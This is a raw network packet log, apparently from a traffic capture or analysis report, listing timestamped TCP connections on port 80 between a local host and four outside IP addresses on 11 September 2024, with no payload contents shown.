Sep 11, 2024 16:22:17.403438091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403443098 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403450966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403462887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403470039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403496981 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403517962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403665066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403676033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403686047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403712988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403723001 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403724909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403738022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403749943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403763056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403776884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403785944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403799057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403804064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403810978 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.403834105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.403875113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404066086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404078007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404089928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404118061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404145956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404156923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404162884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404170036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404184103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404192924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404234886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404262066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404273033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404284000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404295921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404300928 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404309034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404321909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404329062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404335022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404350042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404367924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404371023 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404378891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404391050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404397011 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404402018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404414892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.404422045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404447079 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.404465914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408129930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408143044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408153057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408164978 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408176899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408186913 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408195019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408207893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408220053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408231020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408231020 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408248901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408258915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408261061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408272982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408284903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408293962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408296108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408310890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408318996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408345938 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408368111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408413887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408468008 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408473969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408487082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408525944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408525944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408538103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408550024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408562899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408571959 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408595085 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408629894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408629894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408641100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408652067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408664942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408679008 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408679962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408721924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.408837080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.408885002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.410063028 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410073996 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410085917 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410096884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410120010 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.410152912 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.410191059 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410202026 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410212994 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410224915 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410233021 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.410238028 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410253048 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.410269022 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410280943 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410290956 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.410293102 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410306931 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410319090 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.410325050 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.410352945 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.436357021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436378956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436393023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436422110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436444998 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436467886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436479092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436491013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436502934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436513901 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436530113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436552048 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436563015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436563969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436575890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436588049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436592102 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436599970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.436613083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436649084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.436813116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436827898 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436839104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436857939 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436867952 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436880112 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436889887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.436889887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.436892033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436903954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436924934 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.436969995 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436969995 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.436980963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.436991930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437002897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437020063 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437082052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437082052 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437093973 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437104940 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437114954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437127113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437134981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437139034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437189102 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.437205076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437205076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437216997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437227964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437242031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.437274933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437274933 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.437288046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437299967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437305927 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.437314034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437325001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.437345982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.437376022 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.437541962 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437553883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437565088 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437582016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437597990 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437602997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437609911 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437623024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437640905 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437657118 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437686920 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437696934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437707901 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437717915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437728882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437741041 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437752962 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437762022 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437762022 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437766075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437777996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437808990 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437892914 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.437938929 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.437994957 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438002110 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438013077 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438057899 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438059092 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438070059 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438131094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438143015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438153982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438163996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438195944 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438256979 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438771963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438782930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438793898 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438823938 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438846111 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438854933 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438858032 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438872099 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438884020 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438889980 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438894987 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.438929081 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438946962 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.438950062 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439013958 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439028978 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439034939 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439070940 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439104080 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439115047 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439126015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439137936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439167023 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439182997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439189911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439199924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439209938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439237118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.439255953 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.439270020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439281940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439292908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439304113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439311981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.439347982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.439445019 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439456940 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439466953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439492941 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439513922 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439524889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439536095 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439548016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439555883 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439563990 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.439599037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.439626932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439637899 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439647913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439660072 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439665079 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439665079 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439671040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439682961 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439692974 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.439709902 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439790964 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.439836979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.439879894 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.440023899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.440068007 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.440200090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.440211058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.440239906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.440258980 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.440995932 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.441013098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.441024065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.441034079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441046000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441046000 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.441056967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441068888 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441078901 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.441081047 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441092968 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441104889 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441114902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441122055 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441122055 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441126108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441138029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441149950 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441164970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441164970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441230059 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441246033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441257000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441270113 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441294909 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441318989 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441440105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441452026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441462040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441473961 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441487074 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441530943 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441561937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441572905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441584110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441596031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441612005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.441638947 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.441777945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441788912 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441800117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441811085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441822052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441827059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.441833973 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441845894 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441858053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.441876888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441885948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441895008 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441899061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441907883 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.441911936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441922903 CEST	80	49736	176.113.115.33	192.168.2.4
